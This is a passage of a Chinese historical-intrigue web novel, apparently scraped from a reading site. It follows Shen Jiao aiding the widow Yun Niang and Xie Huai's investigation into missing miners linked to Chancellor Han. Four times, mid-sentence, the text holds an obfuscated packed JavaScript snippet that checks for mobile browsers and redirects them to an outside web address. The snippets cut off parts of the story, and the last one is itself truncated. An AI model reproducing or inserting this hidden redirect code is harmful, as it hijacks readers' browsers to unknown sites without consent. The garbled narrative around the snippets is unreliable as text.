沈皎衡量了会，这的确是一个法子，但她却不敢将自己的身家性命轻易地交到一个只相处了短短几日的人身上。 谢淮和林太傅从殿中出来，谏院官员正一脸视死如归地跪在殿前。两人见状未作停留，并肩穿过错落的殿宇，向宫外走去。 “谏院此举逼着陛下立后，其实也不无道理，但谏院素来和万家走得近，此举便存了些私心，有些让人诟病，陛下这几年的身体已大不如前，突厥仍在对大周虎视眈眈，陛下一旦有个万一，大周必乱。”林太傅唏嘘一声，不免为大周的命运担忧。 谢淮神色冷淡，不置一词，兀自走着，仿佛事不关己。 服侍景惠帝睡下后，万贵妃放下幔帐，屏退殿中的内侍，带着身侧的周嬷嬷蹑手蹑脚出了殿门，觑了眼跪在殿外的人，扭身和周嬷嬷回了寝宫。 一路上周嬷嬷压着心中的不解，直到没人了，才将心中的疑惑问出口:“娘娘，方才在陛下面前您为何要帮着谢世子他们说话？” 宫女端来一碗早就温下的羹汤，恭敬地递上前。万贵妃这般做自是有自己的考量，接过羹汤，垂下眸一边喝着羹汤一边不紧不慢地解释道：“韩家虽元气大伤，韩莞却还有韩相这个大靠山在，父亲昨日派人传来消息，韩相在朝会上处心积虑的要置那芸娘于死地，其中似另有隐情，若能借此扳倒韩家，未尝不是件好事。” 开锁的声音冷不丁在耳畔响起，芸娘听到声响，从床上坐起，抬起头看向狱卒。 狱卒打开牢门:“芸娘，你可以出去了。” 芸娘困惑地站起身，又惊又喜“敢问官爷，为何会突然放我出狱？” 狱卒道:“我只是奉令行事，其他的一概不知。” 芸娘回到家中，听街坊说了事情的原委后，感激不已，梳洗一番，路过点心铺子时，欲买些点心给沈皎带去，忆起包袱还在大理寺未曾拿回来，身无分文，只得作罢，步行至沈皎的住处，抬手叩了叩门:“姑娘。” 沈皎听到芸娘的声音，放下手中的书，让翠蕊前去开门，在门打开后，抬起头看向走进来的芸娘，想着两人有好一会儿话要说，命翠蕊去烧茶。 芸娘踱步至院中，红着眼眶径直对着沈皎跪下，泣声道:“多谢姑娘救命之恩。” “夫人快起来，坐下说。” 芸娘被沈皎从地上扶起，抬起衣袖抹了抹眼角的泪，走到石桌前坐下。 “夫人往后有何打算？”沈皎问询道。 韩丞为了密信的下落丧心病狂，不会放过芸娘，芸娘在京中又无依无靠。 “此事我已和娘娘商议过，娘娘在宫中处境艰难，待将夫君安葬后，我打算回到她身边伺候她，韩丞需利用娘娘牵制万家，再下手定会有所顾忌。” 沈皎闻言，心安下来，留了芸娘用午膳，用过午膳后，不放心芸娘一个人去大理寺处理陈志的身后事，陪着芸娘去大理寺领回包袱，一起来到卖殡葬用品的寿枋街。 不知为何，街上的铺子今日都关着门，三人寻到一家开着门的铺子走了进去。 棺材铺的掌柜正在柜台前打瞌睡，昏昏欲睡之中，听到脚步声，立马清醒过来，看向三人，眼中流露出一抹精明之色，忙唤出后院的伙计，殷勤地给三人奉茶。 “姑娘，这口楠木棺材是我们铺子里工艺最好的。”掌柜的以为是沈皎要买棺材，对走在最前面的沈皎推介道。 沈皎看了一眼那名贵的楠木棺材，没接腔，在铺里扫视一番，走了几步，扭头对芸娘道:“夫人，这口杉木的怎样？” 芸娘对棺材不了解，知晓沈皎不会让自己吃亏，欣然点头。 卖棺材的掌柜一看沈皎挡了自己的财路，顿时不悦起来，见买主是芸娘，不再和沈皎搭腔，对芸娘打着包票:“姑娘，我铺子里这楠木棺材，其他店里可是没有的，眼下就剩这一口，过了这村可就没这店了。” 芸娘看向沈皎面前的棺材，礼貌地回绝了掌柜:“不用了，我就要跟前这个。” 就在几人说话之时，从门口走进来一个穿着衣衫褴褛、肤色黝黑的男子。男子刚跨进铺子，那掌柜突然变了脸色，面上满是鄙夷之色。见掌柜这般打量自己，男子从怀中掏出一个破布包，窘迫得羞红了脸，但仍硬着头皮上前：“家中今年收成不好，十八两银子我实在拿不出来，向邻里东挪西借也只凑出了这五两银子，您能不能便宜点卖给我？” 掌柜语气冷淡:“我管你拮据不拮据，没钱还想来买东西，赶紧走，休要耽误我做生意。” 男子见状，屈膝跪下，磕头苦苦哀求“求求您了，掌柜的，您行行好。” “我这里是棺材铺，又不是善事堂，你求我也没有用。”说罢，便唤人要将男子赶走。 沈皎眸子微凝，出声打断掌柜的话“掌柜的，做生意怕是得厚道吧。若我没记错，依大周律例，若商贩强迫买卖、垄断市场、扰乱价格，将处以杖八十的刑罚，掌柜的在京中做生意，不会不知道吧，若闹到大理寺……” 掌柜心惊胆战，没想到沈皎竟精通律法，顿时心虚地忙命人将地上的男子扶起，又堆起笑脸对几人赔罪，想要息事宁人：“今日之事是我不对，这两口杉木棺材就权当我赔罪，三两银子亏本卖给两位如何？” 沈皎替芸娘省下了银子，还给男子解了围，自是乐见其成：“我没有异议，得问下身后那位大哥是否愿意。” 男子匆忙擦干泪水，急切道：“愿意愿意，谢谢掌柜，谢谢姑娘。” 芸娘付完银子后，铺中的伙计将棺材抬上輀车，一行人正要离去，那男子跑到几人面前，对着沈皎行了一礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858894|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“今日多谢姑娘，姑娘可否将姓名住处告知于我，我和内人好日后上京来报答姑娘。” 沈皎听着男子真挚的话，婉拒道“不必，只是举手之劳而已。” “姑娘，您方才是如何看出那个掌柜在坑人的？”翠蕊目送男子扶棺而去，不解地望着沈皎。那掌柜介绍棺材她也没看出有什么问题。 沈皎收回目光，冷声道:“那棺材是好不假，但那掌柜做生意却将主意打到了穷苦老百姓身上。” 一口楠木棺材价格足以抵一个普通老百姓家中五六年的开支，掌柜适才在她们进铺子后，一开口便先荐介贵的，大户人家自是不在乎价钱东西越贵越有面子，但观那男子衣着面相，明显是老实巴交的乡下人，办一场丧事都需借银子才能勉力撑持，被劝诱着买下，欠了更多的债不说，家里几口人怕是接下来都没法度日了。 沈皎这般一说，两人豁然开朗。老百姓既要承受朝廷沉重的赋税，又要糊口，那些利欲熏心者，怎会体谅老百姓的难处。 芸娘百感交集道:“那人同我一样，也是个有福气的，幸好遇到了姑娘。” 离开铺子后，芸娘在街头雇了四个身强力壮的人，到府衙将尸体搬运进棺材中，步履沉重地前往城外的坟茔。 沈皎陪在芸娘身侧，轻抚她的手臂，以示安慰。 “我没事。”芸娘道。 待雇来的人掘好坑后，下葬前，芸娘制止几人钉棺材的动作，上前伸手颤巍巍地推开棺材，最后在看了棺材里面的陈志一眼，从袖中取出贴身佩戴的玉佩放在棺材里，依依不舍地轻抚他的眉眼，红着眼眶，哽咽道:“夫君，希望你下辈子能投胎到一个好人家，衣食无忧，一生能够平安富贵。” 安葬完陈志后，芸娘抬手抹去眼角的泪，忆起谢淮在狱中的反应，似乎也在查这个案子:“姑娘，我虽不知你是沈将军的什么人，但你定然是来为沈将军平反的，谢大人似乎也在查这个案子，在寻找那封密信。” 沈皎呼吸一滞：“夫人是如何知道的？” 听着芸娘从头到尾将那日牢里的情形原封不动地说完。 她从未听她父亲提起过与定国公府有交情，不过无论谢淮为何查此案，对她们都百利无害。 一行人回到城内，马车在临近御道的位置前停稳，芸娘下了车，踱步向宫门的方向。 翠蕊从芸娘身上收回目光:“姑娘。” 天已擦黑儿，沈皎放下车帘，眉眼间露出一丝疲态，打断翠蕊的话，吩咐车夫先回宅院。 谢淮回到别院时，暗卫早已候在门外：“可还顺利？” “还算顺利，属下去的时候，遇到了奉旨前来探视的淑妃娘娘，在她走后，这才将两人换了出来。” 两人穿过水榭，走到后院的一处屋子内，暗卫转动左手边博古架上的瓷瓶，打开墙上的暗门，将手中的灯笼递给谢淮。 16. 第 16 章 暗门后面出现了一条看不到头的阶梯，谢淮打着灯笼，顺着阶梯往里面走去。昏暗的密室里，用铁链锁着两个双眼被蒙身穿囚衣的人。 谢淮将手中的灯笼交给身旁的暗卫，命人上前解开两人眼上蒙着的黑布。 恢复视觉后，两人借着微弱的烛光，发现被带到了一处密室内。阿五看到密室里的谢淮，面色如常。韩庆瞳孔一缩，他没想到谢淮身为大理寺卿，竟敢让人冒充衙差，公然违法，将两个钦犯转移至此。 “谢世子，你这是干什么？就不怕被圣上发现问罪吗？”韩庆惊愕失色地质问，眼里却是掩盖不住的惧怕。 谢淮晏然自若地坐在暗卫搬来的椅子上，冷冷地看了两人一眼：“明日一过，两位在京中便是死人，我有什么好怕的。” 狱中那些偷天换日、瞒天过海的手段，韩庆了然于胸，谢淮这般无所畏惧，必是做了万全准备，强忍心中惧怕，揣测谢淮此举的目的:"世子若是想从我们嘴里知道些什么，好去弹劾相爷，奉劝世子还是不要白费力气了。" 谢淮一早便知道撬开两人的嘴得花些功夫，没指望让两人现在就开口，垂头摩挲着手边的刑具，声音冷冽：“韩大人不开口也可以，但我有的是耐心陪两位慢慢耗。” 说罢，命暗卫将两人分开关押审问。 离开密室后，回到书房，暗卫来报，刺杀芸娘的杀手在屋外要见他。 “让他进来。” “多谢大人救了我一命。”阿城走进屋中，感激地道。 谢淮命人奉茶，问道：“以后有什么打算？” 别庄惨案的幕后主使仍在逍遥法外，妹妹的仇还未得报，凭他一己之力根本无法将其绳之以法。 阿城跪在地上，一脸坚定：“大人，请让我追随您左右。” “你刚捡回一条命，为我做事的凶险程度不亚于当杀手，随时都有可能丧命，你确定要跟着我？” “只要您能将幕后主使绳之以法，我愿誓死追随您。” 谢淮见他心意已决，没有再劝说。 阿城抬头不经意间看到谢淮手中的砷青铜，想起似是在哪里见过，回想起来:“大人，这个东西我曾经在一个死去的矿夫手上见过。” “可记得在何处见到过？” “那日我接到任务，去一座坍塌的矿中搬运尸体，见过矿夫手中攥着一块这东西。” “那矿地在何处？” “我们是被蒙着眼带进去的，时间过去太久，我想不起来了，但依稀记得，搬运那些尸体的时候，确实见过这种东西。” 所有的线索皆指向矿地，他们私下大张旗鼓挖砷青铜目的到底是什么？ 兵部的文册上记录了这几年来砷青铜的矿采地，用项核对完，也都能对上，确实没有什么问题。 谢淮让人将阿城带下去，拿起案上的砷青铜，凝神注视良久，想到一种可能，收回思绪，低声吩咐：“派人去盯着兵部尚书的府邸。” “是，世子。” 沈皎回到宅院，喝完药后，困意上涌，这一觉睡得很沉，一直睡到了翌日日上三竿才醒。 翠蕊推开门进屋伺候沈皎梳洗，却见沈皎垂头坐在吊窗前，依凭兵书用笔在纸上不知道画着什么，出声打断沈皎:“姑娘，粥熬好了，该梳洗了。” 沈皎放下笔，将稿纸夹在书中，阖上兵书，起身梳洗，用过早膳，临至午时三刻，坐着马车和翠蕊来到菜市口，掀开车帘，隔着肩摩踵接的人群一瞬不瞬地望着跪在刑台上面的两人，直到令签落地，谢淮的声音从刑台上传来，两人人头落地，才放下了车帘。 车夫驾着马车在闹哄哄的街巷中行驶，前方一家牙行前围满了人，回宅院的路被堵住，车夫停稳马车，对车里的沈皎禀报道:“姑娘，前边似是有人闹事，将路堵住了。” 沈皎掀开车帘，见有人在闹事，正欲让车夫改道，人群中却安静下来，传来一道抽抽搭搭的控诉声。 "我家相公三个月前经乡里介绍来你们这里谋了矿工的差事，临走时说定三个月后归家。可如今约定的期限已过半月，音信全无，今日务必给我们给个交代。" “是啊！我家相公也不见回来，家里一大家子人全指望着他养活呢，让你们掌柜出来给我们个说法。” 面对众人的诘问，小厮站在店前，惊惶失措地安抚众人的情绪:“诸位还请少安毋躁，我只是店中一名普通的伙计。此事我也不知，掌柜不在，要不诸位改日再来。” 沈皎听完后，放下车帘，让车夫绕道回宅院。 穿着金色华服的中年男子惊惶失色地跑到丞相府:“还请禀报一声，我有急事要见相爷。” 仆人闻言，忙进府通报。 待仆人通报完，中年男子慌手慌脚跑进府中，来到前厅:“小人拜见相爷。” 韩丞从案前抬头，皱起眉:“何事如此慌张？” “相爷，不好了，那些妇人来行里闹了。” 韩丞一愣，搁下筷子，回想起眼前的人说的妇人是谁，不疾不徐命人撤下饭菜，冷冷道：“人是你找来的，如今出了事，你到本相这里来做什么？” 中年男子闻言，一下慌了神，当初这些矿夫都是按照要求请人找的，前一个多月都没出什么乱子，谁又料到那矿挖到一半会塌了将那些人埋在了下面，那些妇人的架势明显是不要个说法不肯罢休，这般下去，此事怕是瞒不住了。 他知道眼下想要活命，便只能将此事往自己身上揽，身子抖如筛糠，跪在地上:“相爷，那批矿丁因矿塌皆被埋在了下面，一旦此事闹大，惊动大理寺，小人只怕难逃一死，还请相爷看在小人这几年尽心尽力为相爷做了这么多事的份上，救小人一命。” 韩丞思谋一番，矿地十分重要，绝不能被发现，唤外面的暗卫进来，对着地上跪着的人道，意思不言而喻:“你知道该怎么做。” 中年男子感恩戴德地起身带着人离开了。 两人回到宅院，晌午时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858895|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院中起了风，天色渐渐暗了下来，翠蕊进屋取出大氅，披在沈皎身上。 “姑娘，看这天气，怕是待会儿要下雨，您还是回屋吧。” “不碍事。” 陆林从门口进来:“姑娘，兵部尚书名唤赵晖，赵晖此人不但贪财还十分好色，曾因强抢民女差点丢了官职，做了不少败俗伤化的事，在京中官声素来不好。” 沈皎绘图的动作才停了下来：“可还打听到其他？” “只打听到了这些。” “你这几日先去盯着赵府。” 陆林道:“是。” 天昏地暗，电光火石中，大雨倾盆而下。 “狗蛋他娘，你前段时间刚生产完，身子还未好，真不该跟我们来的。”穿着鹑衣的妇人语气中满是担忧，说着，便将身上的鹑衣脱下，递给了一旁面色苍白的妇人，好让她能挡挡雨。 另一人也附和出声:“是啊，到京城路又远，淋了雨回去只怕又要病一场。” 妇人道完谢，接过衣裳，遮在头顶:“狗蛋他爹这么多日也没个消息，公婆担心得紧，我这些日子在家中也寝食难安，还不如跟着来看看，也好安心。” 几人在牙行前候了半日，不见掌柜回来，见要下雨，便决定先出城回村，翌日再来讨要说法，不料，天公不作美，刚一出城门，暴雨便砸了下来。 雨沥沥下着，也不知何时会停，几人在雨中奔走，环视四周寻找避雨之所。蓦地，树林中响起一阵脚步声，一群黑衣人持刀冲出，将去路围住。 几人都是老实本分的乡下人，哪里见过这场面，望着黑衣人手中泛着寒光的刀，惊恐地靠拢在一起，其中一个稍微胆大的妇人颤着声音问道:“各位好汉，为何要拦住我们的去路？” 为首的黑衣人不答，做了个手势，命令黑衣人动手。 “快跑。” 不知谁喊了一声，求生的本能迫使几人在雨中拔足狂奔，黑衣人在身后穷追不舍，眼看就要被追上，拿着鹑衣的妇人渐渐体力不支，面色惨白道:“你们快跑，不用管我，我跑不动了。” “不行，要走一起走，我们怎么能丢下你。” 几人被追上，吓得魂不附体，就在黑衣人的刀要劈下来之际，一把暗器破空而来，精准无比地插进了黑衣人眉心。 黑衣人倒在了泥水中，其余的黑衣人见状，停下动作，未敢再上前，看向来人。 雨幕中暗卫迅速上前，拿下几人。 为首的暗卫道:“将他们带回别院，等候世子发落。” 黑衣人见任务失败，咬碎毒药，纷纷服毒自尽。 几人得救后，忙跪在地上道谢。 为首的暗卫上前查探一番，见几人已经断气，命人解下斗笠和蓑衣，伸手递给眼前的妇人们，将她们带回了城里。 翌日雨散云收。一夜无梦，沈皎早早用完早膳，听陆林说赵晖的宠妾陆姨娘，初三这日常去香延居买脂粉，企图接近她将她当做突破口。 17. 第 17 章 香延居二楼靠窗的角落摆放着供休憩的桌椅。沈皎提前让翠蕊与老板娘打好招呼，将客人暂时请下楼。选了窗口的位置坐下，为自己倒了杯茶。片刻后，一辆挂着赵府徽记的马车缓缓驶入她的视线。 一位星眸皓齿梳着素螺髻的妇人踩着马凳被身旁的婢女扶下了马车。 春桃陪着自家姨娘往铺子里走，见身后一道而来的小厮作势也要跟进来，将两人拦在外面：“你们在门口候着，不用跟进来。” 两人不依不饶：“姨娘，您别让小人们为难，大人吩咐了，必须得寸步不离地跟着您。” 春桃知道这两个小厮是派来监视她们的，从袖中掏出两银子，想要收买两人。 两个小厮虽对银子很心动，却迟迟没有接春桃递过来的银子，不敢抗令。 春桃没有收回银子，望着两人，语气却比先前冷了几分：“两位也知道，大人极为宠爱姨娘，姨娘不想有人跟着，若两位非要跟进去，惹了姨娘不快，姨娘将今日之事回去告诉大人，大人的脾气两位可是清楚的。” 两个小厮想起那些折磨人的手段，身子不自觉颤了颤，权衡一番，最终还是妥协了不敢惹陆姨娘不快，收下了银子，没有跟进铺子。 翠蕊瞥见赵府的马车，听到门外的对话，待两人走进铺子后，迅速上前拦住，说道：“陆姨娘，我家姑娘愿助您脱困，想请您上楼一叙。” 陆姨娘死寂的眸底泛起一抹光亮，心中有一瞬间的动摇，只持续了片刻，又坚定起来，拒绝了翠蕊的邀请:“我听不懂姑娘在说什么。” 翠蕊见陆姨娘明明似是想去见沈皎，不知为何又拒绝了，回到楼上:“姑娘，陆姨娘拒绝了邀约，但瞧着好似有什么难言之隐。” 沈皎面色一凝，按陆林打听来的消息，那陆姨娘既是被强抢进府的，理当恨透了赵晖，继续忍耻含羞给赵晖做妾室，确实不太合乎情理。 纷飞的思绪被楼下喧嚷的叫卖声拉回，回过神后，赵府的马车已经驶离，下了楼，无功而返。 翠蕊将熬好的药递给沈皎，见沈皎面色微微有些发白，道：“姑娘，莫要太过忧心，大不了我们再想想其他法子。” 温热的药捧在掌心，沈皎仰头饮尽，沉思了会，陆姨娘身侧的那个丫鬟必定知道些什么，只能从她身上下手了。 大理寺内，几人不约而同地对视一眼，眼神焦灼，静静地候在堂下。 昨夜救下她们的人，将她们带回城中，安顿在了一家客栈，并请来了大夫诊治。听完她们的遭遇，临走前他说明日一早会有人来接她们去大理寺，见能为她们主持公道的官员。 少顷，谢淮穿着绯红色的官袍从堂后走出，在案前坐下，看向几人。 几人毕恭毕敬地跪在堂下，异口同声道:“民妇拜见大人。” “你们说你们的夫君，三月前在牙行寻了一份旷工的差事，约期到了，至今仍未归来？” “是，大人。” “既这么久未归家，为何不来报官？” 在相府门口盯着的暗卫发现牙行掌柜带着死士离开相府，察觉有异，便一路尾随至牙行扣下掌柜，随后急速冒雨出城，在城外及时救下了几人。这件事和韩丞脱不了干系，若早早来报官，兴许还有解救的机会，已经过去了半月，人只怕已经凶多吉少。 “大人，不是民妇们不想来报官，而是民妇们的夫君往日去做工也有迟归的情况，便以为有什么耽搁了，才未能及时报官。” 谢淮让衙差去牢中将牙行掌柜带上堂。 牙行掌柜瞳孔一缩，瞧见那几个妇人安然无恙地出现在堂上，见刺杀失败了，跪在堂上，吓得身子直哆嗦，出了一身的冷汗:“草民拜见大人。” “为何要派人出城行凶？是谁指使你的？” “没人指使小人，是小人财迷心窍贪了些矿工的工钱，怕被发现，这才做下祸事，还请大人治罪。” 谢淮对这番托词自是不信，究问矿工的下落:“那些矿工如今在何处？” “那几个矿工半月前便从矿上离开了，至于为什么没回家，草民也不知道。” 谢淮眸子一沉：“不知道？若再不说实话，本官可要让人动刑了。” 牙行掌柜伏在地上，泣声叫屈：“大人，草民说的全是实话，还请大人明察。” 谢淮无动于衷，命人用刑。 板子重重落在皮肉上，撕心裂肺的惨叫声随之传进堂中，足足过了一炷香的时间，才戛然而止。 “大人，人昏过去了。”衙差进来禀报道。 “抬回牢里，请狱医看看，醒了后继续审问。” 衙差领命而去。 谢淮目光转向堂中的几位妇人:“几位夫人，只管安心在客栈住下，此事本官定会追查到底，给各位一个交代。” “多谢大人。” 待几人起身离开后，谢淮当即下令查封涉案的牙行，将里面的一干人等带回狱中审问。 出了府衙，回到别院，刚一踏进院子，暗卫便迎了上来：“世子，那两人熬不住酷刑昏死过去了，是否要请大夫来看看？” “给他们喂些汤药，把命吊住，别让他们现在就死了。” 暗卫应了声是。 “两人还是不愿开口？” 暗卫道：“是，受尽酷刑，也不愿开口，属下会想尽办法，让他们将知道的东西都吐出来。” 明月高悬，巷子鸦鹊无声。春桃从后院出来，关上门，身后袭来一阵寒意，心生警惕，正欲回头，还未看清那人相貌，颈间便传来一阵剧烈的疼痛，失去了意识。 陆林停稳马车，将昏迷不醒的春桃抱进屋内，放到床上。 沈皎坐在屋中等着春桃醒来，少顷，春桃发出一声呻吟，捂着仍在作痛的后颈，缓缓睁开了眼睛。 那双原本从容的眸子泛起惧怕，认出翠蕊，断定她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858896|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们几人没有恶意，才渐渐恢复平静。 “这般将姑娘请来，也是无奈之举，还请春桃姑娘不要见怪。”沈皎道。 “姑娘，绑我来此，是想从我这里知道些什么？”春桃想起翠蕊先前在香延居拦住陆姨娘，说是要助陆姨娘脱困，便也猜到了沈皎此举的目的。 “我只是有些好奇，陆姨娘被那赵晖强抢进府，便当真不恨，不想从赵府逃出去？” 春桃面色变得凝重起来，垂下头，手指紧握，指甲深深地刺进手心，却没有回应。 赵晖有权有势，心狠手辣。若拿到罪证，能稳操胜算将他治罪，固然大快人心。一旦不能，事后赵晖绝不会对她们心慈手软。春桃将心中的疑惑问出口：“那赵晖揽权纳贿，姑娘又如何有把握能将他绳之以法？” “只要陆姨娘答应帮我拿到赵晖这些年贪污的罪证，我自有法子能将她毫发无伤地从陆府救出来，把赵晖送上断头台。” 听到沈皎言之凿凿地保证，春桃明白这或许是唯一可以逃出赵府的机会，犹豫再三，拿定主意，抬起头，郑重地看向沈皎：“只要姑娘能将姨娘救出去，我愿意帮姑娘拿到罪证。” 春桃身为陆姨娘的贴身婢女，接近赵晖轻而易举，拿到罪证的机会的确很大。沈皎应允下来:“我定竭力而为。” 沈皎让陆林驾着马车将春桃送回赵府。 失踪的矿工还没有线索，谢淮在别院用完晚膳，又回到了衙署，默不作声翻看着衙差从牙行带回来的账本，试图从里面找到些蛛丝马迹。 大理寺丞审完牙行一干人等，进屋将伙计以及账房先生的供词上前呈给谢淮:“大人，无论卑职怎么让人用刑，牙行掌柜都一口咬定那些失踪的矿工回家了，那账房先生畏惧刑罚倒是说出了一些有用的线索。” 谢淮阖上账册，接过证词，一目十行地看完。账目做得滴水不漏，账册上也没有交易记录。牙行肩负着为官府征收商税的职责，朝廷每月都会派官员前去核对账目，他们倒是不敢在账目上投机倒把，这些矿工应该都是牙行掌柜私下找人雇佣来的，他放下证词：“这些矿工并不是第一批被雇佣去矿地的？” “是，那账房先生供称，前年年关的时候有个一身华服的男子深夜来到牙行，曾托牙行掌柜动用人脉找过一批矿工。” 身穿华服，看来男子并不是普通人。那些矿工的家人却都没有同这几位妇人一样来寻人，只有两种可能，两批人去的不是同一个矿区，工期完毕后安全归家了，还有一种可能便是他们已经死了。 这其中有韩丞的手笔，只怕前者的可能性并不大，如今失踪的矿工知道的暂且只有这几个，其他不知道的，或许有更多。 谢淮冷声道：“连夜审那掌柜，派人到悦来客栈诘问那些妇人失踪矿工的名字，去京中衙门查最近获得采矿许可的矿户，看其中是否有这几人的名字。” “是，卑职这便派人去查。” 18. 第 18 章 一大早，本该在监视赵府的陆林却回来了:“姑娘，我方才去赵府，看到另有一批人也在监视赵府，怕被发现，便先回来了。” 沈皎落笔的动作一滞，再盯着也只会引来不必要的麻烦:“暂且不必去了，先等春桃的消息。” “是。” 今日天清气朗，是个难得的好天气，翠蕊晾好衣服，俯身为沈皎斟满茶，见沈皎目注心凝地在纸上画着什么东西，上面还密密匝匝写满了字，她拿起一张，看不懂，收拾好桌上闲置的纸：“姑娘，再过些日子，就到孟冬了，我们的炭火剩不多了，得再置备些才行。” 沈皎道:“从凉州带来的银子还剩多少？” 翠蕊在心里大致约计一番:“这些日子已花了近五十两，只剩一百三十余两。” 她们省吃俭用加上在凉州卖掉了所有的首饰，偷偷来到京中，带来的银子有限，待会儿还得去牙行缴下个月的租金，又是一笔开支，长此以往，生计只怕都难以为继。沈皎思量一番，做出取舍：“炭火买一般的就行，不用买太好的。” 沈皎是为三人日后的生计考虑，却遭到翠蕊的强烈反对：“姑娘，这怎么行，您的身子不能受寒，凉州时再难，林将军和夫人也不曾削减您用炭上的开支。京中冬日本就比凉州寒冷，一般的炭火又哪里御得了寒。” 沈皎看到翠蕊担忧的神情，安抚道：“来京都这些时日，我已经渐渐适应了京中的气候，没那么娇弱，这点寒还是受得了的。” “不行。”翠蕊语气坚决，不肯妥协退让。 沈皎见翠蕊坚持，没了法子。商议完炭火之事，待用完午膳，让翠蕊取了银子，前往牙行，到了后，却瞥见牙行的门上贴着封条，她拦住一个路人询问情况。 “昨日大理寺的官爷来将这里查封了，说掌柜牵扯进了一桩失踪案中，要交租金的话，暂且只能先去大理寺了。” 道完谢，沈皎让车夫转道去大理寺。 大理寺与牙行仅两街之隔，没一会儿，便到了。 两人下了马车，几日前冷清的大理寺，陡然之间，却因这猝不及防的变故，门庭若市了起来。 大理寺专门设立了一个简易的临时场所，派出两个官员收租金。 来缴租的人很多，在衙署前排起了长队，沈皎和翠蕊跟在队伍后缓缓往前挪动。 身前的两个灰衣男子关于此案似是知晓些不为人知的内情，切切私语起来：“听说是那几个矿工失踪了，夫人闹上了府衙，刘掌柜是因为贪了矿工的工钱才被抓了。” 另一个灰衣男子提出了异议，言词间却十分畏敬：“刘掌柜家财万贯，背后还有朝中的大人物给撑腰，又怎会看上矿工那点工钱，这么轻易就被抓了。” 以往上牙行交易，因纠纷闹上公堂的人不少，每次到最后都不了了之，所有人没想到牙行掌柜就这么被抓了，听了后，只觉解气。 “有依仗又如何,你也不看看如今的大理寺卿是谁，那可是定国公世子。当年定国公为国捐躯，谢世子扶灵回京，圣上在城门口携百官亲迎，城门前人山人海，整个京城谁没看到。大周历来，又有几人能有如此殊荣。谢世子又岂会将那大人物放在眼中。” 两人的对话一字不差地落入沈皎的耳朵里，她不自觉怔怔地望着大理寺望了好一会儿，才移开了视线。等了约莫一个多时辰，前面的人陆续在账本上签字画押完，到她们时，已不觉抵暮。 那官员接过银钱，在账本上逐列寻找着沈皎报上的名讳。 寻到后，抬头出声确认:“沈玥，凉州人氏，可有错？” 两人说话间，谢淮从衙署里走了出来，闻言，朝这边侧目而望，目光幽深地盯着沈皎看了好一会儿。 “不曾有错。” 沈皎在账本上签字画完押，感受到头顶投来的目光，抬起头向衙门口望去，那道目光却已经不着痕迹地移开了。眼错间，看到谢淮不知何时从衙署出来，穿着抢眼的官服，站在阶墀上，垂头同一个衙差在说着什么，瞥了一眼，收回视线。 “姑娘，那不是谢大人，我们要不要过去打个招呼？”翠蕊道。 自芸娘的案子结束后，他们便再未有过交际，见谢淮同那衙差说完话回衙署似是有公务要忙，便没有上前叨扰，和翠蕊离开。 马车平缓地在街巷中行驶，沈皎上身猛然前倾，险些撞到了头，被翠蕊护住，才稳住了身形，出声询问情况。 “怎么了？” 车夫紧紧勒住手中的缰绳，停稳马车：“姑娘，前面巷子有一个妇人突然冲了出来，让姑娘受惊了。” 沈皎掀起帘子，垂头看见一个雍容华贵的中年妇人跌倒在地，神情恍惚，似也是受到了惊吓，下了马车，上前俯身将妇人扶起来。 “夫人，您还好吗？可有受伤？” 妇人如梦初醒，沉滞的瞳孔里慢慢有了一丝神采，骤然回过神，站稳后。说话的声音如同被火灼过一般，嘶哑难听：“我没事，多谢姑娘。” 沈皎窥见面前的妇人精神恍惚，状况似有些不对，为防她再遇意外，便善意道：“是我的马车不慎惊到了夫人，作为赔礼，我送夫人回府上吧。” 妇人看着沈皎，出声推却：“不必劳烦姑娘了，我自己回去即可。” “夫人若不答应，我回去后夜里怕要寝食难安了。”沈皎坚持。 妇人拗不过沈皎，只得松口答应。 这厢，大理寺丞等到谢淮回来，匆忙从椅子上起身，行了一礼。 “查得怎么样了？” “卑职带人去衙门查了京中这些日子申请采矿的报请，并未查到这几人。” 谢淮眉梢轻抬。看来确如先前所想，那几个矿工是那男子越过官府，私下雇请的。要想寻到那男子，找到那些失踪的矿工，只能设法让那牙行掌柜开口了。 “去大牢。” 两人正要前往狱中，狱卒却形色仓皇地跑进了屋中，神色如丧考妣:“大人，不好了，那掌柜死了。” 谢淮停下步子，眼神一凛，困惑不已： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 